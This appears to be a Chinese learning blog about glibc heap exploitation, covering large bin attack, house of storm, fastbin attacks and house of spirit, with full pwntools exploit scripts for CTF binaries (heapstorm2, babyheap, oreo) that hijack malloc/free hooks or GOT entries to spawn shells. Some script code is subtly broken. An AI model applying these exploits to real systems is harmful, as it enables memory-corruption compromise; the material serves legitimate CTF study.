0%

Large Bin Attack

好耶,又是另一个链表的利用🤢🤢。

没太看懂,再去看看

有点看懂了,回来记录一下

largebin结构

1
2
3
4
5
6
7
8
9
10
11
12
struct malloc_chunk {

INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */
INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */

struct malloc_chunk* fd; /* double links -- used only if free. */
struct malloc_chunk* bk;

/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
struct malloc_chunk* bk_nextsize;
};

可见largebin的空闲堆结构和fastbin的结构大不一样,有了fd_nextsizebk_nextsize两个地址空间,因为有了这两个地址空间,储存chunk时也变得不一样,不是简单的单链表和双向链表,具体结构如下图

image-20211119155541141

可见是一个横向和纵向的结构,横向记录着不同大小的chunk,用fd_nextsizebk_nextsize连接,大小排序是从大到小,纵向是记录着相同大小的chunk,不同的chunk用fd和bk连接,这样的话,一条largebin链(一条largebin的链表记录的chunk的大小不是固定的,而是一定范围)中又分了不同大小chunk的链表,这些链表的堆头都还是链接的,这样做可以加快寻找空闲chunk的速度。

插入largebin链的步骤

​ 1.找到当前要插入的chunk对应的largebin的index,并定位该index中的最小的chunkbck和最大的chunkfwd。
​ 2.如果fwd等于bck,表明当前链表为空,则直接将该chunk插入,并设置该chunk为该大小堆块的堆头,将bk_nextsize和fd_nextsize赋值为它本身。
​ 3.如果fwd不等于bck,表明当前链表已经存在chunk,要做的就是找到当前chunk对应的位置将其插入。首先判断其大小是否小于最小chunk的size,(size) < (bck->bk->size),如果小于则说明该chunk为当前链表中最小的chunk,即插入位置在链表末尾,无需遍历链表,直接插入到链表的末尾,且该chunk没有对应的堆头,设置该chunk为相应堆大小堆的堆头,将bk_nextsize指向比它大的堆头,fd_nextsize指向双链表的第一个节点即最大的堆头。
​ 4.如果当前chunk的size不是最小的chunk,则从双链表的第一个节点即最大的chunk的堆头开始遍历,通过fd_nextsize进行遍历,由于fd_nextsize指向的是比当前堆头小的堆头,因此可以加快遍历速度。直到找到小于等于要插入的chunk的size。
​ 5.如果找到的chunk的size等于要插入chunk的size,则说明当前要插入的chunk的size已经存在堆头,那么只需将该chunk插入到堆头的下一个节点。
​ 6.如果找到的chunk的size小于当前要插入chunk的size,则说明当前插入的chunk不存在堆头,因此该chunk会成为堆头插入到该位置,设置fd_nextsize与bk_nextsize。

Large bin Attack

1.利用条件

​ 存在UAF或者其他漏洞能够修改同一个Largebin或者bk_nextsize

2.效果

任意地址写入堆地址(重点)

利用下面这段代码进行漏洞复现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include<stdio.h>
#include<stdlib.h>
#include<assert.h>

int main()
{
unsigned long stack_var1 = 0;
unsigned long stack_var2 = 0;

unsigned long *p1 = malloc(0x100);
malloc(0x20);//防止合并
unsigned long *p2 = malloc(0x400);
malloc(0x20);//防止合并
unsigned long *p3 = malloc(0x410);
malloc(0x20);//防止合并

free(p1);
free(p2);
//触发malloc_consolidate,之后p1的剩余部分在unsortedbin中,p2在largebin中
malloc(0x40);
//将p3放入unsortedbin中
free(p3);

p2[0] = 0;//fd
p2[1] = (unsigned long)(&stack_var1 - 2);//bk
p2[2] = 0;//fd_nextsize
p2[3] = (unsigned long)(&stack_var2 - 4);//bk_nextsize

malloc(0x40);

fprintf(stderr, "stack_var1 (%p): %p\n", &stack_var1, (void *)stack_var1);
fprintf(stderr, "stack_var2 (%p): %p\n", &stack_var2, (void *)stack_var2);

return 0;
}

先在free(p3)下断点,查看这时的bins

1
2
3
4
5
6
7
8
9
10
11
12
13
14
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x602050 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x602050 /* 'P `' */
smallbins
empty
largebins
0x400: 0x602140 —▸ 0x7ffff7dd1f68 (main_arena+1096) ◂— 0x602140 /* '@!`' */

可以看见p1和p2都触发malloc_consolidate,p1到了smallbin,p2到了largebin

查看p2内容

1
2
3
4
5
6
7
8
9
10
11
pwndbg> x/20gx 0x602140
0x602140: 0x0000000000000000 0x0000000000000411
0x602150: 0x00007ffff7dd1f68 0x00007ffff7dd1f68
0x602160: 0x0000000000602140 0x0000000000602140
0x602170: 0x0000000000000000 0x0000000000000000
0x602180: 0x0000000000000000 0x0000000000000000
0x602190: 0x0000000000000000 0x0000000000000000
0x6021a0: 0x0000000000000000 0x0000000000000000
0x6021b0: 0x0000000000000000 0x0000000000000000
0x6021c0: 0x0000000000000000 0x0000000000000000
0x6021d0: 0x0000000000000000 0x0000000000000000

可以看见这时候链表里只有他一个堆且他为堆头,fd_nextsize和bk_nextsize都是自身地址

再把程序运行到malloc(0x40),查看p2内容

1
2
3
4
5
pwndbg> x/20gx 0x602140
0x602140: 0x0000000000000000 0x0000000000000411
0x602150: 0x0000000000000000 0x00007fffffffddc0
0x602160: 0x0000000000000000 0x00007fffffffddb8
0x602170: 0x0000000000000000 0x0000000000000000

可见p2的bk和bk_nextsize地址空间的值都被更改了。都指向了栈空间。

然后执行malloc(0x40)

1
2
3
4
5
6
7
8
9
───────────────────────────────────[ STACK ]────────────────────────────────────
00:0000│ rsp 0x7fffffffddd0 —▸ 0x602580 ◂— 0x0
01:0008│ 0x7fffffffddd8 —▸ 0x602580 ◂— 0x0
02:0010│ 0x7fffffffdde0 —▸ 0x602010 —▸ 0x7ffff7dd1c78 (main_arena+344) —▸ 0x7ffff7dd1c68 (main_arena+328) —▸ 0x7ffff7dd1c58 (main_arena+312) ◂— ...
03:0018│ 0x7fffffffdde8 —▸ 0x602150 ◂— 0x0
04:0020│ 0x7fffffffddf0 —▸ 0x602590 —▸ 0x602140 ◂— 0x0
05:0028│ 0x7fffffffddf8 ◂— 0x6262b714a4749e00
06:0030│ rbp 0x7fffffffde00 —▸ 0x4007b0 (__libc_csu_init) ◂— push r15
07:0038│ 0x7fffffffde08 —▸ 0x7ffff7a2d840 (__libc_start_main+240) ◂— mov

发现栈上的值被更改成堆地址了,至于为什么会这样,且细细道来

先看一下这段代码干了啥

先申请了三个堆,p1是0x100,p2是0x400,p3是0x410

然后free掉p1和p2,再malloc(0x40),导致p1转移到smallbin 然后p2转移到largebin

修改p2数据p2->bk=(unsigned long)(&stack_var1 - 2),p2->bk_nextsize=(unsigned long)(&stack_var2 - 4)

申请0x40chunk触发malloc_consolidate,p3将要链入largebin中

漏洞就在这个时候发挥作用,因为p3要进入largebin的链表,所以要执行入链操作

因为p3大于p2,而p3对应的堆链又是空的情况下就会执行下面这两段代码,其中p3指的是victim,p2指的是fwd,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
bck = fwd->bk;
/..../
else
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;//这里
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;//*(&stack_var2 - 4*0x8+0x20)=*(&stack_var1)=p3
}

victim->bk = bck;//p3->bk=bck
victim->fd = fwd;//p3->fd=p2
fwd->bk = victim;
bck->fd = victim;//*(&stack_var1 - 2*0x8+0x10)=*(&stack_var1)=p3

这样就完成了任意地址写入堆地址。

large bin arrack 高级利用

house of strom

largebinattack能完成1任意地址写堆地址,但是一般没啥大用,但是largebinsttack的高级利用house of storm却能完成任意地址请求堆

利用house of storm的前置条件

1.能控制一个large bin 的堆的bk_nextsize

2.能控制unsortedbin的一个堆的bk

主要思路就是利用largebinattack来fake一个chunk,然后利用unsortedbin对fake_chunk进行请求。

第一步 伪造堆

依靠largebinattack完成这一步,伪造堆的话主要伪造两个地方,一个是size,一个是bk位置,size使用bk_nextsize来伪造,bk(fake_chunk)使用bk(指large的bk)来伪造,伪造原理如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
bck = fwd->bk;
/..../
else
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;//这里
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;//*(&stack_var2 - 4*0x8+0x20)=*(&stack_var1)=p3
}

victim->bk = bck;//p3->bk=bck
victim->fd = fwd;//p3->fd=p2
fwd->bk = victim;
bck->fd = victim;//*(&stack_var1 - 2*0x8+0x10)=*(&stack_var1)=p3

注意size位不能直接写入这个堆的地址,那样估计太大了,一般来说程序基地址一般是0x55或者0x56开头,堆的地址当然也是这两个开头,可以通过错位的方式使size位只写入堆地址第一个字节,令bk_nextsize=target-0x18-5,这样在执行victim->bk_nextsize->fd_nextsize = victim;victim->bk_nextsize->fd_nextsize就指向了target-0x18-5+0x20=target+0x8-5,而堆的地址是六个字节,从target+0x8-5处存地址,存完后五个以后首字节就储存在target+0x8处,这个地址刚好是size的地址,size就伪造完了。

在伪造bk之前先搞明白伪造要伪造bk指针

1
2
3
4
5
unsorted_chunks (av)->bk = bck;
//bck指的是target_chunk->bk
//unsortbin的bk指针指向倒数第二个堆块
bck->fd = unsorted_chunks (av);
//需要访问到target_chunk->bk->fd,因此target_chunk->bk需要是有效地址

因为fake_chunk在unsorted中脱链时需要访问他的bk地址,向bk地址处储存头结点,所以bk处得是一个有效的值,如果不伪造的这个地方大概率不是有效地址,会导致fake_chunk脱链失败。这就是伪造原因

利用large的bk进行伪造,伪造原理还是上面那个源码,令large->bk=target+0x8,在执行bck->fd = victim;时victim的地址就会写入(target+0x8+0x10)=(target->bk)中去,bk储存着一个堆的地址,当然就是有效地址了。

注意:插入的chunk的值要大于布置的largechun的大小(即插在布置的kargechunk的前面)

第二步 申请fake_chunk

申请fake_chunk实际上就是伪造完自己执行的,unsorted在把上一个尾结点脱链后(插到了large,完成布置),然后再找尾结点,这时尾结点就是伪造的fake_chunk,然后执行下面代码脱链

1
2
3
4
5
unsorted_chunks (av)->bk = bck;
//bck指的是target_chunk->bk
//unsortbin的bk指针指向倒数第二个堆块
bck->fd = unsorted_chunks (av);
//需要访问到target_chunk->bk->fd,因此target_chunk->bk需要是有效地址

注意布置的fake_chunk的size是0x55或者0x56,所以申请的堆的大小得是0x50。

此时就完成了任意地址申请堆了。可以靠这个堆改写储存堆地址的指针区,完成任意地址读写。

例题heapstorm2

这道题先放一个payload,因为还涉及off by null漏洞,所以在off by null中仔细分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
from os import system
from pwn import *
context.log_level='debug'
elf=ELF('./heapstorm2')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
ogg=[0x45226,0x4527a,0xf03a4,0xf1247]
def add(size):
sh.recvuntil('Command: ')
sh.sendline('1')
sh.recvuntil('Size: ')
sh.sendline(str(size))

def update(index,content):
sh.recvuntil('Command: ')
sh.sendline('2')
sh.recvuntil("Index: ")
sh.sendline(str(index))
sh.recvuntil('Size: ')
sh.sendline(str(len(content)))
sh.recvuntil("Content: ")
sh.send(content)

def free(index):
sh.recvuntil('Command: ')
sh.sendline('3')
sh.recvuntil("Index: ")
sh.sendline(str(index))

def show(index):
sh.recvuntil('Command: ')
sh.sendline('4')
sh.recvuntil('Index: ')
sh.sendline(str(index))

i=1
def pwn():
while True:
#sh=process('./heapstorm2')
#sh=remote('node4.buuoj.cn',29023)
#gdb.attach(sh,"b main")
add(0x18)#0
add(0x508)#1
update(1,'s'*0x4f0+p64(0x500))
add(0x18)#2
add(0x18)#3
add(0x508)#4
update(1,'s'*0x4f0+p64(0x500))
add(0x18)#5
add(0x18)#6

free(1)
update(0,'s'*(0x18-12))
add(0x18)#1
add(0x4d8)#7 overlap
free(1)
free(2)
# add(0x18)
# add(0x4d8)
add(0x38)#1
add(0x4e8)#2

update(4,'s'*0x4f0+p64(0x500))
free(4)
update(3,'s'*(0x18-12))
add(0x18)#4
add(0x4d8)#8
free(4)
free(5)
add(0x48)#4

free(2)
add(0x4e8)#2
free(2)

#unsorted bin
fake_chunk=0x13370800-0x20
p1=p64(0)*2+p64(0)+p64(0x4f1)
p1+=p64(0)+p64(fake_chunk)
update(7,p1)

#large bin
p=p64(0)*4+p64(0)+p64(0x4e1)
p+=p64(0)+p64(fake_chunk+8)
p+=p64(0)+p64(fake_chunk-0x18-5)
update(8,p)
add(0x48)#2
p2=p64(0)*5+p64(0x13377331)
p2+=p64(0x13370800)
update(2,p2)
p3=p64(0)*3+p64(0x13377331)+p64(0x13370800)
p3+=p64(0x1000)+p64(fake_chunk+3)+p64(8)
update(0,p3)
show(1)
sh.recvuntil(']: ')
heap=u64(sh.recv(6).ljust(8,'\x00'))
print hex(heap)
p3=p64(0)*3+p64(0x13377331)+p64(0x13370800)
p3+=p64(0x1000)+p64(heap+0x10)+p64(8)
update(0,p3)
show(1)
sh.recvuntil(']: ')
hook_base=u64(sh.recv(6).ljust(8,'\x00'))-0x58-0x10
libc_base=hook_base-libc.symbols['__malloc_hook']
print hex(libc_base)
free_hook=libc_base+libc.symbols['__free_hook']
p3=p64(0)*3+p64(0x13377331)+p64(0x13370800)
p3+=p64(0x1000)+p64(free_hook)+p64(0x8)
update(0,p3)
update(1,p64(ogg[1]+libc_base))
free(1)
sh.interactive()
if __name__ == "__main__":
while True:
sh = process('./heapstorm2')
try:
pwn()
except:
sh.close()

Fastbin Attack

原理:fastbin是单链表,当一个堆被释放到fastbin时,他会被插入到链表的头结点,但是不会释放size的p位,意思就是被释放了但是p仍然为1,这就对判断堆是否被释放带来了麻烦,而这一点就是我们要利用的漏洞

Fastbin Attack分为好几种攻击方式,下面来一一介绍

Fastbin Double Free

如其名就是一个fast大小的堆被释放了两次

能成功的原因主要还是上面的原理,一个是p不会被置0,一个是fastbins判断堆是否空闲的机制,他只会检查头结点的堆是不是和要释放的是一个堆,如果是那就错误,如果不是,那就判断他不是空闲堆,插入头结点。

1
2
3
4
5
6
//利用姿势
malloc(1);
mall0c(2);
free(1);
free(2);
free(1);

上面伪代码把1释放了两次,但是程序并不会报错,因为当第二次释放1时,他会检查要释放到的链表的头结点是不是1,此时头结点是2,不是1,那就判断1不是空闲堆,那就释放。

最后的链表结构

image-20211117151105924

那free两次后能干啥呢,按我的理解就是让多个指针指向了同一个堆,可以实现就算堆是空闲也能写入数据(如果存在ufa就不用这个麻烦了),最主要就是能覆盖fd了。能覆盖fd就能实现向任意地址申请堆了。

下面是例题

这道例题是我刚开始学pwn的时候做的,以前觉得这道题好难啊,现在看来好像没那么难理解了,这段时间的学习果然有用啊😁😁

下面是伪代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
__int64 v4; // [rsp+8h] [rbp-8h]

v4 = sub_B70(a1, a2, a3);
while ( 1 )
{
sub_CF4();
switch ( sub_138C() )
{
case 1LL:
sub_D48(v4);
break;
case 2LL:
sub_E7F(v4);
break;
case 3LL:
sub_F50(v4);
break;
case 4LL:
sub_1051(v4);
break;
case 5LL:
return 0LL;
default:
continue;
}
}
void __fastcall sub_D48(__int64 a1)
{
int i; // [rsp+10h] [rbp-10h]
int v2; // [rsp+14h] [rbp-Ch]
void *v3; // [rsp+18h] [rbp-8h]

for ( i = 0; i <= 15; ++i )
{
if ( !*(_DWORD *)(24LL * i + a1) )
{
printf("Size: ");
v2 = sub_138C();
if ( v2 > 0 )
{
if ( v2 > 4096 )
v2 = 4096;
v3 = calloc(v2, 1uLL);
if ( !v3 )
exit(-1);
*(_DWORD *)(24LL * i + a1) = 1;
*(_QWORD *)(a1 + 24LL * i + 8) = v2;
*(_QWORD *)(a1 + 24LL * i + 16) = v3;
printf("Allocate Index %d\n", (unsigned int)i);
}
return;
}
}
}
__int64 __fastcall sub_E7F(__int64 a1)
{
__int64 result; // rax
int v2; // [rsp+18h] [rbp-8h]
int v3; // [rsp+1Ch] [rbp-4h]

printf("Index: ");
result = sub_138C();
v2 = result;
if ( (int)result >= 0 && (int)result <= 15 )
{
result = *(unsigned int *)(24LL * (int)result + a1);
if ( (_DWORD)result == 1 )
{
printf("Size: ");
result = sub_138C();
v3 = result;
if ( (int)result > 0 )
{
printf("Content: ");
result = sub_11B2(*(_QWORD *)(24LL * v2 + a1 + 16), v3);
}
}
}
return result;
}
__int64 __fastcall sub_F50(__int64 a1)
{
__int64 result; // rax
int v2; // [rsp+1Ch] [rbp-4h]

printf("Index: ");
result = sub_138C();
v2 = result;
if ( (int)result >= 0 && (int)result <= 15 )
{
result = *(unsigned int *)(24LL * (int)result + a1);
if ( (_DWORD)result == 1 )
{
*(_DWORD *)(24LL * v2 + a1) = 0;
*(_QWORD *)(24LL * v2 + a1 + 8) = 0LL;
free(*(void **)(24LL * v2 + a1 + 16));
result = 24LL * v2 + a1;
*(_QWORD *)(result + 16) = 0LL;
}
}
return result;
}
int __fastcall sub_1051(__int64 a1)
{
int result; // eax
int v2; // [rsp+1Ch] [rbp-4h]

printf("Index: ");
result = sub_138C();
v2 = result;
if ( result >= 0 && result <= 15 )
{
result = *(_DWORD *)(24LL * result + a1);
if ( result == 1 )
{
puts("Content: ");
sub_130F(*(_QWORD *)(24LL * v2 + a1 + 16), *(_QWORD *)(24LL * v2 + a1 + 8));
result = puts(byte_14F1);
}
}
return result;
}
puts("1. Allocate");
puts("2. Fill");
puts("3. Free");
puts("4. Dump");
puts("5. Exit");
return printf("Command: ");

通过输出就可以知道这个程序的大致功能了,通过free可知没有ufa了。

漏洞利用思路:

​ 1.暴露libc基地址,如果unsorted bin只有一个堆时,那这个堆的fd和bk都储存着main_arena+88地址,我们可以知道main_arena的偏移量,那就能知道libc基地址了。

​ 2.设置malloc_hook出的值为one_gadget,这是因为每次malloc的时候他都会检查malloc_hook处的值,如果为空那继续执行malloc,如果是一个地址的话,那就跳到这个地址处执行这里面的代码。

因为没有ufa,所以得制造多个指针指向unsorted chunk才能在被释放时读到fd.就我目前知道的方式有两种,一种是double free(没必要),一个是堆溢出直接改fd就行了,注意malloc分配bins上的堆时会检查申请的堆大小和要分配的堆大小是否相等,如果相等才可以分配。

然后就是把堆分配到maolloc_hook附近,这个比较简单,主要是注意构造size,J就是在malloc_hook附近选择合适的size来fake chunk,不然不能通过分配。

下面是payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
from pwn import *
context(log_level='debug')

DEBUG = 1
if DEBUG:
p = process('./babyheap')
libc = ELF('./libc.so.6')
else:
p = remote()

def alloc(size):
p.recvuntil('Command:')
p.sendline('1')
p.recvuntil('Size:')
p.sendline(str(size))

def fill(index, size, content):
p.recvuntil('Command:')
p.sendline('2')
p.recvuntil('Index:')
p.sendline(str(index))
p.recvuntil('Size:')
p.sendline(str(size))
p.recvuntil('Content:')
p.send(content)

def free(index):
p.recvuntil('Command:')
p.sendline('3')
p.recvuntil('Index:')
p.sendline(str(index))

def dump(index):
p.recvuntil('Command:')
p.sendline('4')
p.recvuntil('Index:')
p.sendline(str(index))
p.recvuntil('Content: \n')
return p.recvline()[:-1]

def leak():
# gdb.attach(p)
alloc(0x60)
alloc(0x40)
fill(0, 0x60 + 0x10, 'a' * 0x60 + p64(0) + p64(0x71))
alloc(0x100)
fill(2, 0x20, 'c' * 0x10 + p64(0) + p64(0x71))
free(1)
alloc(0x60)
fill(1, 0x40 + 0x10, 'b' * 0x40 + p64(0) + p64(0x111))
alloc(0x50)
free(2)
leaked = u64(dump(1)[-8:])
# return libc_base
return leaked - 0x3c4b78


def fastbin_attack(libc_base):
malloc_hook = libc.symbols['__malloc_hook'] + libc_base
execve_addr = 0x4526a + libc_base

log.info("malloc_hook @" + hex(malloc_hook))
log.info("system_addr @" + hex(system_addr))
gdb.attach(p)
free(1)
payload = 'a' * 0x60 + p64(0) + p64(0x71) + p64(malloc_hook - 27 - 0x8) + p64(0)
fill(0, 0x60 + 0x10 + 0x10, payload)

alloc(0x60)
alloc(0x60)

payload = p8(0) * 3
payload += p64(0) * 2
payload = p64(execve_addr)
fill(2, len(payload), payload)
alloc(0x20)

def main():
# pwnlib.gdb.attach(p)
libc_base = leak()
log.info("get libc_base:" + hex(libc_base))
fastbin_attack(libc_base)
p.interactive()

if __name__ == "__main__":
main()

house_of_spirit

不曾设想的道路

double free的利用方式是修改fd指向fake_chunk,这个house_of_spirit是先伪造fake chunk,然后让一个指针指向这个堆,假设这个指针为a,然后free(a),fake_chunk就进入了bin了,然后再申请fake_chunk大小的堆就申请到了fake_chunk,然后就可以往这个堆里写入数据。

但这个利用方式也有限制条件

  • fake chunk 的 ISMMAP 位不能为 1,因为 free 时,如果是 mmap 的 chunk,会单独处理。
  • fake chunk 地址需要对齐, MALLOC_ALIGN_MASK
  • fake chunk 的 size 大小需要满足对应的 fastbin 的需求,同时也得对齐。
  • fake chunk 的 next chunk 的大小不能小于 2 * SIZE_SZ(64位是8字节,32位是4字节),同时也不能大于av->system_mem (没查到)。
  • fake chunk 对应的 fastbin 链表头部不能是该 fake chunk,即不能构成 double free 的情况。

最主要的就是next_chunk->size的绕过。

可以通过how2heap体会利用过程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#include <stdio.h>
#include <stdlib.h>

int main()
{
fprintf(stderr, "This file demonstrates the house of spirit attack.\n");

fprintf(stderr, "Calling malloc() once so that it sets up its memory.\n");
malloc(1);

fprintf(stderr, "We will now overwrite a pointer to point to a fake 'fastbin' region.\n");
unsigned long long *a;
// This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY)
unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));

fprintf(stderr, "This region (memory of length: %lu) contains two chunks. The first starts at %p and the second at %p.\n", sizeof(fake_chunks), &fake_chunks[1], &fake_chunks[9]);

fprintf(stderr, "This chunk.size of this region has to be 16 more than the region (to accommodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n");
fprintf(stderr, "... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n");
fake_chunks[1] = 0x40; // this is the size

fprintf(stderr, "The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n");
// fake_chunks[9] because 0x40 / sizeof(unsigned long long) = 8
fake_chunks[9] = 0x1234; // nextsize

fprintf(stderr, "Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]);
fprintf(stderr, "... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n");
a = &fake_chunks[2];

fprintf(stderr, "Freeing the overwritten pointer.\n");
free(a);

fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]);
fprintf(stderr, "malloc(0x30): %p\n", malloc(0x30));

Alloc to Stack

原理也是利用fastbins attack,不过利用的思路不一样,大概思路就是在栈上布置fake_chunk,然后修改fastbin上的fd指向这个fake_chunk,这样就在栈上申请了一个堆,就能往栈上写入数据或者读取数据了,比如覆盖个返回地址啥的,但个人感觉这个思路的约束条件挺多的,得知道栈上的地址,得有合适的size(自己构造的或者栈上本来就有的),得可以控制fastbin的链表。不够普遍,只适合适合他的题。

下面的代码大概复现了思路。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
typedef struct _chunk
{
long long pre_size;
long long size;
long long fd;
long long bk;
} CHUNK,*PCHUNK;

int main(void)
{
CHUNK stack_chunk;

void *chunk1;
void *chunk_a;

stack_chunk.size=0x21;
chunk1=malloc(0x10);

free(chunk1);

*(long long *)chunk1=&stack_chunk;
malloc(0x10);
chunk_a=malloc(0x10);
return 0;
}

Arbitrary Alloc

这个和上面那个一样,就是伪造的chunk范围更广,只要有适合的size和地址,就可以fake_chunk,注意fake_chunk的地址可以是错位的,只要第二个八字节size能通过验证就行。比如分配到mall0c_hook地址附近。

2014 hack.lu oreo例题

伪代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
unsigned int sub_804898D()
{
unsigned int v1; // [esp+1Ch] [ebp-Ch]

v1 = __readgsdword(0x14u);
puts("What would you like to do?\n");
printf("%u. Add new rifle\n", 1);
printf("%u. Show added rifles\n", 2);
printf("%u. Order selected rifles\n", 3);
printf("%u. Leave a Message with your Order\n", 4);
printf("%u. Show current stats\n", 5);
printf("%u. Exit!\n", 6);
while ( 1 )
{
switch ( sub_8048896() )
{
case 1:
sub_8048644();
break;
case 2:
sub_8048729();
break;
case 3:
sub_8048810();
break;
case 4:
sub_80487B4();
break;
case 5:
sub_8048906();
break;
case 6:
return __readgsdword(0x14u) ^ v1;
default:
continue;
}
}
}

因为不认识英文单词,所以得不到文字提示,得仔细审计才看懂了代码,简而言之,1就是增加分配一个堆,然后堆的最后四位储存上一个堆的地址,这里可以进行覆盖。2是输出堆的信息,这里可以输出刚才输入的信息,只要在输入时填入got表,就能输出获得基地址,3是free函数,可以把malloc到的堆看成一个链表,3能释放一整个链表的堆,而且下一个堆的地址是可以控制的,也就是可以控制任意堆进行free,在地址处填入fake_chunk的地址,就可以把fake_chunk给free掉。4是一个输入函数,可以往指定bss段的0x804A2A8写入数据。而这个地址空间里储存着一个地址0x804A2c0,是往0x804A2c0中写入数据。

总结:功能很多,漏洞主要是堆溢出,可以更改堆地址,导致可以fake_chunk到fastbin上,能够布置堆的地方也只有bss段,刚开始我随便注意了chunk,能够malloc回来,但发现没啥用,只有像官方wp一样布置堆到0x804A2A8才行,主要是因为这个函数,他可以向0x804A2A8中写入数据,把堆申请到这以后让0x804A2A8储存某个函数的got表,就可以更改含食宿地址了。

1
2
3
4
5
6
7
8
9
10
unsigned int sub_80487B4()
{
unsigned int v1; // [esp+1Ch] [ebp-Ch]

v1 = __readgsdword(0x14u);
printf("Enter any notice you'd like to submit with your order: ");
fgets(dword_804A2A8, 128, stdin);
sub_80485EC(dword_804A2A8);
return __readgsdword(0x14u) ^ v1;
}

这是最后的payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from os import system
from pwn import *
context.log_level='debug'
sh=process('./oreo')
libc=ELF('/lib/i386-linux-gnu/libc.so.6')
elf=ELF('./oreo')
#gdb.attach(sh,'b *0x08048894')
puts_got=elf.got['puts']
def alloc(name,content):
sh.sendline('1')
#sh.recvuntil('Rifle name: ')
sh.sendline(name)
#sh.recvuntil('Rifle description: ')
sh.sendline(content)

def enter(content):
sh.sendline('4')
sh.sendline(content)
def delete():
sh.sendline('3')
def show():
sh.sendline('2')

name='a'*27+p32(puts_got)
alloc(name,'aaa')
show()
sh.recvuntil('Description: aaa')
sh.recvuntil('Description: ')
puts_addr=u32(sh.recv(4))
libc_base=puts_addr - libc.symbols['puts']
system=libc_base+libc.symbols['system']
print hex(system)

for i in range(1,0x40):
alloc('a','a')
name='a'*27+p32(0x0804A2A8)
alloc(name,'aaa')
payload='a'*(0x38-0x18-0x4)+p32(0)+p32(0)+p32(0x100)
enter(payload)
delete()
alloc('a',p32(elf.got['strlen']))
enter(p32(system)+';/bin/sh\x00')
sh.interactive()

思考:

​ 1.把fake_chunk给free到fastbins上利用了house_of_spirit技术,这个利用思路是有约束条件的,一个是size必须是2 * SIZE_SZ整数倍,fake chunk 的 next chunk 的大小不能小于 2 * SIZE_SZ(64位是8字节,32位是4字节),同时也不能大于av->system_mem

​ 2.如果能fake chunk的话,要思考自己fake到哪个位置才有用,就像我这次虽然能fake,但是fake完发现根本没法利用,那什么才是有用的呢,就我目前来看,如果程序里能往某个变量了写入或者输出数据,那就可以考虑在fake chunk时覆盖这个变量,然后把变量处覆盖成任意地址,就可以完成任意地址写入或者输出了。

unlink利用

简单的讲就是把空闲的chunk合并,(如果真是这么简单就好了,苦笑)

unlink是一个函数,当一个chunk被free后,他会检测这个chunk上的物理相邻地址,如果空闲的话两个chunk就会合并,注意要释放的这个chunk大小得超过fastbins的大小(0x80)

